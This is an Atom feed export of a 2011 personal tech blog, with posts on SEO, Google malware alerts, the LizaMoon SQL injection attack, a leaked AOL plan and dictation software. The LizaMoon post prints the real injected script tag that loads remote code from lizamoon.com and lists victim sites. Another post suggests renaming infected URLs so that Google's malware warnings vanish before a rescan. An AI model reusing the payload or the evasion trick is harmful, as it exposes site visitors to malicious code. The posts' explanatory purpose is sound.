document.getElementById("step").innerHTML=a;setTimeout("animate(0)",2E3)});GEvent.addListener(dirn,"error",function(){alert("Location(s) not recognised. Code: "+dirn.getStatus().code)});var start=function(){dirn.loadFromWaypoints(["119 Pine St, Seattle, WA 98101","Houston, TX"],{getPolyline:!0,getSteps:!0})}};


 // This Javascript is based on code provided by the
    // Community Church Javascript Team
    // http://www.bisphamchurch.org.uk/   
    // http://econym.org.uk/gmap/
 

    //]]&gt;
    &lt;/script&gt;&lt;br /&gt;
&lt;h1 style="margin-top:20px;font-size:30px;"&gt;ReTweets help nominate houston&lt;/h1&gt;&lt;!-- http://twitter.com/#!/CarterCole/status/70692223934664704 --&gt; &lt;style type='text/css'&gt;.bbpBox70692223934664704 {background:url(http://a2.twimg.com/profile_background_images/25359334/00000001.jpg) #373737;padding:20px;} p.bbpTweet{background:#fff;padding:10px 12px 10px 12px;margin:0;min-height:48px;color:#000;font-size:18px !important;line-height:22px;-moz-border-radius:5px;-webkit-border-radius:5px} p.bbpTweet span.metadata{display:block;width:100%;clear:both;margin-top:8px;padding-top:12px;height:40px;border-top:1px solid #fff;border-top:1px solid #e6e6e6} p.bbpTweet span.metadata span.author{line-height:19px} p.bbpTweet span.metadata span.author img{float:left;margin:0 7px 0 0px;width:38px;height:38px} p.bbpTweet a:hover{text-decoration:underline}p.bbpTweet span.timestamp{font-size:12px;display:block} .bbpBox70692223934664704 { border:0px !important; }&lt;/style&gt; &lt;div class='bbpBox70692223934664704'&gt;&lt;p class='bbpTweet'&gt;I nominate Houston, TX &lt;a href="http://seomz.me/lap1tm" rel="nofollow"&gt;http://seomz.me/lap1tm&lt;/a&gt; for an @&lt;a class="tweet-url username" href="http://twitter.com/SEOmoz" rel="nofollow"&gt;SEOmoz&lt;/a&gt; &lt;a href="http://twitter.com/search?q=%23MozCation" title="#MozCation" class="tweet-url hashtag" rel="nofollow"&gt;#MozCation&lt;/a&gt; - More info here: &lt;a href="http://seomz.me/mozcation" rel="nofollow"&gt;http://seomz.me/mozcation&lt;/a&gt;&lt;span class='timestamp'&gt;&lt;a title='Wed May 18 03:28:34 +0000 2011' href='http://twitter.com/#!/CarterCole/status/70692223934664704'&gt;less than a minute ago&lt;/a&gt; via web &lt;a style='font-size:25px;' href='http://twitter.com/intent/retweet?tweet_id=70692223934664704'&gt;&lt;img src='http://si0.twimg.com/images/dev/cms/intents/icons/retweet.png' style='border-color:red;'/&gt; Retweet&lt;/a&gt;&lt;/span&gt;&lt;span class='metadata'&gt;&lt;span class='author'&gt;&lt;a href='http://twitter.com/CarterCole'&gt;&lt;img src='http://a2.twimg.com/profile_images/1214648373/c_cole_181x181_normal.jpg' border='0' /&gt;&lt;/a&gt;&lt;strong&gt;&lt;a href='http://twitter.com/CarterCole'&gt;Carter Cole&lt;/a&gt;&lt;/strong&gt;&lt;br /&gt;
CarterCole&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;!-- end of tweet --&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-2265648042317261036?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/HmH4DD8QsdQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/2265648042317261036/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/05/mozcation-should-defiantly-add-houston.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/2265648042317261036?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/2265648042317261036?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/HmH4DD8QsdQ/mozcation-should-defiantly-add-houston.html" title="The MozCation should definitely add Houston, TX to its list of stops" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><thr:total>1</thr:total><georss:featurename>Houston, TX, USA</georss:featurename><georss:point>29.7628844 -95.3830615</georss:point><georss:box>29.4693304 -95.830806 30.0564384 -94.935317</georss:box><feedburner:origLink>http://blog.cartercole.com/2011/05/mozcation-should-defiantly-add-houston.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck4MRH4zeip7ImA9WhZWFUs.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-2089139062162220080</id><published>2011-05-16T08:49:00.000-07:00</published><updated>2011-05-16T08:49:45.082-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-16T08:49:45.082-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="malware" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><category scheme="http://www.blogger.com/atom/ns#" term="webmaster" /><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><title>What it looks like if Google detects an exploit on your domain</title><content type="html">I recently did a post on the lisamoon SQL injection attack and one of the cool things about it was that google detected the attack, showed where it was living on the domain and processed the reconsideration request very promptly&lt;br /&gt;
&lt;br /&gt;
When you enter into Google Webmaster Tools and they have detected a&amp;nbsp;malicious&amp;nbsp;script or&amp;nbsp;exploit&amp;nbsp;on your domain they will show you a red alert warning you of the infection&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-V6fd07YymmU/TdFD-oI1IKI/AAAAAAAABX0/F_0RBFuwmzk/s1600/Capture.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="140" src="http://3.bp.blogspot.com/-V6fd07YymmU/TdFD-oI1IKI/AAAAAAAABX0/F_0RBFuwmzk/s320/Capture.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;When you click to the "Malware" section of the "Diagnostics" section of WMT you get a list of infected urls, what the malicious script looks like and the date it was found. Google notices that the same script is repeated numerous times on the page and assumes its infected database tables&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-yIQM2GYGx5I/TdFEXn4yZeI/AAAAAAAABX8/X2ydAD0Z02w/s1600/Capture3.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="119" src="http://1.bp.blogspot.com/-yIQM2GYGx5I/TdFEXn4yZeI/AAAAAAAABX8/X2ydAD0Z02w/s320/Capture3.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;After you have gone and and cleaned everything up and hopefully closed any of the SQL injection holes their malicious hacker crawler found then you can tell Google to stop showing that giant red warning when people are going to pages that were infected&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-LKTgyUZpuQA/TdFEV9a01aI/AAAAAAAABX4/ejrKWaGfz1o/s1600/Capture2.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="154" src="http://1.bp.blogspot.com/-LKTgyUZpuQA/TdFEV9a01aI/AAAAAAAABX4/ejrKWaGfz1o/s320/Capture2.PNG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;The alert seems to be generated automatically so im pretty sure it reruns the automated scan that detected the problem in the first place. But based on the response time Im gonna say there is no human verification of the removal of the malicious code.&lt;br /&gt;
&lt;br /&gt;
Some things to note while you working on getting it clean if that the big red warnings that try to send users away are created at a url or folder level so by renaming files you can make the warning go away even before Googles security bot has checked for infection again&lt;br /&gt;
&lt;br /&gt;
The easiest way to do the renaming would&amp;nbsp;probably&amp;nbsp;be using the .htaccess file and rewriting the url to a new name and adding a&amp;nbsp;canonical tag&amp;nbsp;to the page&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-2089139062162220080?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/YRJMih6e8mw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/2089139062162220080/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/05/what-it-looks-like-if-google-detects.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/2089139062162220080?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/2089139062162220080?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/YRJMih6e8mw/what-it-looks-like-if-google-detects.html" title="What it looks like if Google detects an exploit on your domain" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/-V6fd07YymmU/TdFD-oI1IKI/AAAAAAAABX0/F_0RBFuwmzk/s72-c/Capture.PNG" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/05/what-it-looks-like-if-google-detects.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU4HSXs_cSp7ImA9WhZSFEg.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-7197594377002938784</id><published>2011-03-29T21:05:00.000-07:00</published><updated>2011-03-29T21:05:38.549-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-29T21:05:38.549-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SEO" /><category scheme="http://www.blogger.com/atom/ns#" term="404" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><title>Google's little 404 page helper and dangers of soft 404s</title><content type="html">Making sure your pages are returning proper http codes is important to your SEO efforts... (&lt;a href="http://blog.cartercole.com/2010/08/new-seo-api-http-redirect-chain-test.html"&gt;especially with redirects&lt;/a&gt;) but another problem that can use up your crawl quota with googlebot is an infinite space problem... these pages can be driven from a database but are often soft 404s or pages that dont exist but still return a 200 code&lt;br /&gt;
&lt;br /&gt;
You should make sure your pages are returning proper 404's alot of webmasters choose to add some little joke to break the users frustration of missing a page but while &lt;a href="http://www.google.com/support/webmasters/bin/answer.py?answer=136085"&gt;digging around in google's help docs&lt;/a&gt; i came across a little script they wrote to include pages urls who may be the correct version of the wrong url&lt;br /&gt;
&lt;br /&gt;
Just drop this code on your 404 page and be sure to change the domain name to match your own&lt;br /&gt;
&lt;pre type="syntaxhighlighter" class="brush: javascript;  html-script: true"&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
  var GOOG_FIXURL_LANG = 'en';
  var GOOG_FIXURL_SITE = 'http://www.cartercole.com';
&amp;lt;/script&amp;gt;
&amp;lt;script type=&amp;quot;text/javascript&amp;quot;
  src=&amp;quot;http://linkhelp.clients.google.com/tbproxy/lh/wm/fixurl.js&amp;quot;&amp;gt;
&amp;lt;/script&amp;gt;
&lt;/pre&gt;and another cool trick i just though of would be to add something like this to the page aswell&lt;br /&gt;
&lt;pre type="syntaxhighlighter" class="brush: javascript;  html-script: true"&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
  _gaq.push(["_trackEvent", "SEO", "404 Error", document.location]);
&amp;lt;/script&amp;gt;
&lt;/pre&gt;then you can see any 4040 errors that your getting and figure out what you need to redirect to so any link love the url may have doesn't get lost&lt;br /&gt;
&lt;br /&gt;
PS:&lt;br /&gt;
&lt;script language='javascript' src='http://www.websitegoodies.com/poll.php?id=20837&amp;width=200&amp;bordercolor=000000&amp;questionbg=eeeeee&amp;mainbg=ffffff&amp;questioncolor=000000&amp;textcolor=000000'&gt;&lt;/script&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-7197594377002938784?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/aRdX-qfLwu0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/7197594377002938784/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/03/googles-little-404-page-helper-and.html#comment-form" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/7197594377002938784?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/7197594377002938784?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/aRdX-qfLwu0/googles-little-404-page-helper-and.html" title="Google's little 404 page helper and dangers of soft 404s" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><thr:total>1</thr:total><georss:featurename>Houston, TX, USA</georss:featurename><georss:point>29.7628844 -95.3830615</georss:point><georss:box>29.4693304 -95.830806 30.0564384 -94.935317</georss:box><feedburner:origLink>http://blog.cartercole.com/2011/03/googles-little-404-page-helper-and.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcFR3s-eSp7ImA9WhZWFks.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-8714055200466166706</id><published>2011-03-29T19:03:00.000-07:00</published><updated>2011-05-17T13:10:16.551-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-17T13:10:16.551-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SQL injection" /><category scheme="http://www.blogger.com/atom/ns#" term="sql" /><category scheme="http://www.blogger.com/atom/ns#" term="code" /><category scheme="http://www.blogger.com/atom/ns#" term="hacking" /><title>The LizaMoon SQL Injection Attack</title><content type="html">Ok so i ran into this SQL injection attack today and I wanted to throw up some info on how to clean your database, what the code probably looked like and what you need to do to protect yourself in the future... this is the little code snippet that is injected onto all the string columns in the database you can see how they use the &lt;code&gt;&amp;lt;/title&amp;gt;&lt;/code&gt; to try and jump out of the title tag (if a column is title tag) so the script would be run in the head. it also doesnt check for previos infections so you can see on some sites its strung 2 or 3 times&lt;br /&gt;
&lt;script class="brush: vb;  html-script: true" type="syntaxhighlighter"&gt;
&lt;![CDATA[ &lt;/title&gt;&lt;script src=http://lizamoon.com/ur.php&gt;
&lt;/script&gt; ]]&amp;gt; &lt;br /&gt;
based on what ive seen and found Im gonna take an educated guess and say that this is a hackers spider that has been designed to look for fingerprints of exploitable code and automates the hacking. &lt;a href="http://www.google.com/search?q=ur.php#q=%22%3C/title%3E%3Cscript+src%3Dhttp://lizamoon.com/ur.php%3E%3C/script%3E%22"&gt;doing a google search for the string&lt;/a&gt; it drops you can find pages of results that have been compromised. here are some of the victims of the attack&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;http://www.cmobjects.com/default.asp?ID=09984D98CB604C0B8A69566F9145173E&lt;/li&gt;
&lt;li&gt;http://www.cheerextreme.com/toast/toast.asp&lt;/li&gt;
&lt;li&gt;http://www.ybm.org.il/hebrew/Article.aspx?Item=1139&lt;/li&gt;
&lt;/ul&gt;and not only that there arent many people talking about it... &lt;a href="http://www.zataz.com/mailing-securite/1301410855/Re:-%5BFull-disclosure%5D-itunes.apple.com-owned-by-webapp-malicious-host.html"&gt;apparently it made it to itunes&lt;/a&gt; at some point and &lt;a href="http://forums.asp.net/t/1667041.aspx/2/10?Re+LizaMoon+actack+who+know+about+this+"&gt;other people have mentioned it on forums&lt;/a&gt; so who knows how many domains have been affected... ill update this soon with a removal stored procedure... i forgot the code at the office&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-8714055200466166706?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/oBgv3wRRCvg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/8714055200466166706/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/03/lisamoon-sql-injection-attack.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/8714055200466166706?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/8714055200466166706?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/oBgv3wRRCvg/lisamoon-sql-injection-attack.html" title="The LizaMoon SQL Injection Attack" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/03/lisamoon-sql-injection-attack.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUUDRno8eip7ImA9WhZTGEQ.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-2376299123031880717</id><published>2011-03-23T08:12:00.000-07:00</published><updated>2011-03-23T08:14:37.472-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-23T08:14:37.472-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="plan" /><category scheme="http://www.blogger.com/atom/ns#" term="aol" /><category scheme="http://www.blogger.com/atom/ns#" term="leak" /><title>AOL Way - PDF copy of the leaked master plan</title><content type="html">AOL is working to make a comeback... they have a new logo and are trying to make the push back into the market after failing with all those free CDs. SO here are some of their aspirations:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;He wants pageviews per story to jump from 1,500 to 7,000.&lt;/li&gt;
&lt;li&gt;He wants video stories to go from being 4% of all stories produced to 70%.&lt;/li&gt;
&lt;li&gt;He wants the percentage of stories optimized for search engines to reach 95%.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
Where did we get all this? the people over at &lt;a href="http://www.businessinsider.com/the-aol-way"&gt; Business Insider&lt;/a&gt; found it for us :) then i went and dug up the PDF version and posted it to SlideShare for everyone&lt;br /&gt;
&lt;object height="355" id="__sse7359555" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=the-aol-way-110323100118-phpapp02&amp;stripped_title=the-aol-way-leaked-plan&amp;userName=cartercole" /&gt;&lt;param name="allowFullScreen" value="true"/&gt;&lt;param name="allowScriptAccess" value="always"/&gt;&lt;embed name="__sse7359555" src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=the-aol-way-110323100118-phpapp02&amp;stripped_title=the-aol-way-leaked-plan&amp;userName=cartercole" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;br /&gt;
&lt;br /&gt;
some people are already &lt;a href="http://www.quora.com/Should-the-press-be-able-to-leak-confidential-documents-like-AOLs-Plan"&gt;asking on Quora if this type of leak should be legal&lt;/a&gt;... well some people better keep hold of their docs a little better i guess&lt;br /&gt;
&lt;br /&gt;
oh and if you cant get it from slideshare heres another copy of the &lt;a href="https://docs.google.com/viewer?a=v&amp;amp;pid=explorer&amp;amp;chrome=true&amp;amp;srcid=0B-QP5Jvese4HZjc1NWIwYWQtNTFmOC00YzQyLThlNWItN2Q2MGZkMmIyYTA3&amp;amp;hl=en"&gt;leaked AOL document on Google Docs&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-2376299123031880717?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/xrM3AaKYfjU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/2376299123031880717/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/03/aol-way-pdf-copy-of-leaked-plan.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/2376299123031880717?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/2376299123031880717?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/xrM3AaKYfjU/aol-way-pdf-copy-of-leaked-plan.html" title="AOL Way - PDF copy of the leaked master plan" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><thr:total>0</thr:total><georss:featurename>Houston, TX, USA</georss:featurename><georss:point>29.7628844 -95.3830615</georss:point><georss:box>29.1668324 -96.31689949999999 30.3589364 -94.4492235</georss:box><feedburner:origLink>http://blog.cartercole.com/2011/03/aol-way-pdf-copy-of-leaked-plan.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEEFRH4yfSp7ImA9Wx9aGUs.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-8027111313589413959</id><published>2011-03-12T13:53:00.000-08:00</published><updated>2011-03-12T13:50:15.095-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-03-12T13:50:15.095-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="dragon" /><category scheme="http://www.blogger.com/atom/ns#" term="dictation" /><category scheme="http://www.blogger.com/atom/ns#" term="ipad" /><title>a review of dragon dictation for iPad written using dragon dictation for iPad</title><content type="html">&lt;div class="separator" style="float:right; "&gt;&lt;a href="http://itunes.apple.com/us/app/dragon-dictation/id341446764?mt=8" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://lh6.googleusercontent.com/-SmpYcwu07EA/TXvqP9P_ZiI/AAAAAAAABWk/FxIAZPnjMDk/s1600/Dragon-Dictation.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;This is a review of Dragon dictation as transcribed by dragon dictation so I'm still at this thing run I'm going to go and talk about everything that I want to talk about that he needs to do ugly little bit about the history of voice recognition and we'll see how it does so voice recognition is kind of one of the really cool things of the new computer age and out used to suck and Google is getting a lot back a lot better at it and so like voice recognition software is really being for like hands free and mobile devices so they rather than interacting with the user interface through sunscreen application I can use voice haven't read to them there by e-mail or things like that there's much different stuff eggs and used in fire aircraft video games all kinds of different things and so there's a couple different ways that they can do it there's dynamic time for being speech recognition Markov chain models and all this stuff it does text to speech so anyways now I'm on the iPad and I'm using dragon dictation to see if it's viable to try and write a blog post just by dictating cause I second typing it's really one of my failures as a nerd I need to really put in some work and trying get my words per minute up but anyways so I remember reading to my computer table 2 cities and reading it all this stuff so if you get my voice and now Google stuff is b*dass it's a lot better at recognizing all kinds different words this one seems like it's doing pretty well I mean I guess you will be the judge of it reading this blog post that I'm in a post straight out of this recording and ohsaa recording it's will this dictation to Dragon dictation so anyways hope you're like this post I think it's kind of a clever thing to do and we'll see how it does and if you have a questions or know of any other good dictation program so you think we should try Island love to hear about them alright until next time this is Carter Krolls signing off from Carter's technology blog. Thank you and goodbye&lt;br /&gt;
&lt;br /&gt;
Carter Cole&lt;br /&gt;
Never send a human to do a computers job&lt;br /&gt;
&lt;a href="http://cartercole.com/"&gt;http://cartercole.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;a href="http://twitter.com/cartercole" title="Carter Cole on twitter"&gt;follow me on twitter im @cartercole&lt;/a&gt;

&lt;a href="http://blog.cartercole.com" title="carter cole's technology blog"&gt;This feed is from my technology blog&lt;/a&gt;

&amp;copy; Copyright 2010 CarterCole.com&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6979125180851784848-8027111313589413959?l=blog.cartercole.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/Cartercole/~4/8oa7SVF9b2g" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.cartercole.com/feeds/8027111313589413959/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://blog.cartercole.com/2011/03/review-of-dragon-dictation-for-ipad.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/8027111313589413959?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/6979125180851784848/posts/default/8027111313589413959?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/Cartercole/~3/8oa7SVF9b2g/review-of-dragon-dictation-for-ipad.html" title="a review of dragon dictation for iPad written using dragon dictation for iPad" /><author><name>Carter Cole</name><uri>https://profiles.google.com/105563738783660236721</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-YihDT_p-bhE/AAAAAAAAAAI/AAAAAAAAAAA/sE1FR8DcpkM/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh6.googleusercontent.com/-SmpYcwu07EA/TXvqP9P_ZiI/AAAAAAAABWk/FxIAZPnjMDk/s72-c/Dragon-Dictation.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://blog.cartercole.com/2011/03/review-of-dragon-dictation-for-ipad.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkUGR3s9eSp7ImA9Wx9bFkg.&quot;"><id>tag:blogger.com,1999:blog-6979125180851784848.post-3896354574763392838</id><published>2011-02-25T07:29:00.000-08:00</published><updated>2011-02-25T09:17:06.561-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-02-25T09:17:06.561-08:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SEO" /><category scheme="http://www.blogger.com/atom/ns#" term="google" /><title>Anti-Abortion sites create a Google Bomb for murder</title><content type="html">&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-WlYiiBhcb7E/TWfIP81MhKI/AAAAAAAABV4/xrLZo_Vyxfs/s1600/gbomb.PNG" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-WlYiiBhcb7E/TWfIP81MhKI/AAAAAAAABV4/xrLZo_Vyxfs/s1600/gbomb.PNG" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
"Google Bombs" are when a number of sites all link to a&amp;nbsp;certain site with exact anchor text (like &lt;a href="http://cartercole.net/"&gt;carter&lt;/a&gt;) to cause the search giant to move a page onto a SERP where it would&amp;nbsp;usually&amp;nbsp;never show. Some of the bigger ones was choosing "im feeling lucky" for "French&amp;nbsp;military victories" would show "did you mean&amp;nbsp;French&amp;nbsp;military defeats" but now anti-abortion e-protesters have caused abortion to show under murder SERP&amp;nbsp;using&amp;nbsp;SEO to make a statement about their political views. It will be&amp;nbsp;interesting&amp;nbsp;to see if&amp;nbsp;Google&amp;nbsp;takes any action to move it out of that position. When George Bush was&amp;nbsp;Google&amp;nbsp;bombed for "miserable failure" they removed the bomb so it may make a political statement based on what they do (or dont do)&lt;br /&gt;
&lt;br /&gt;
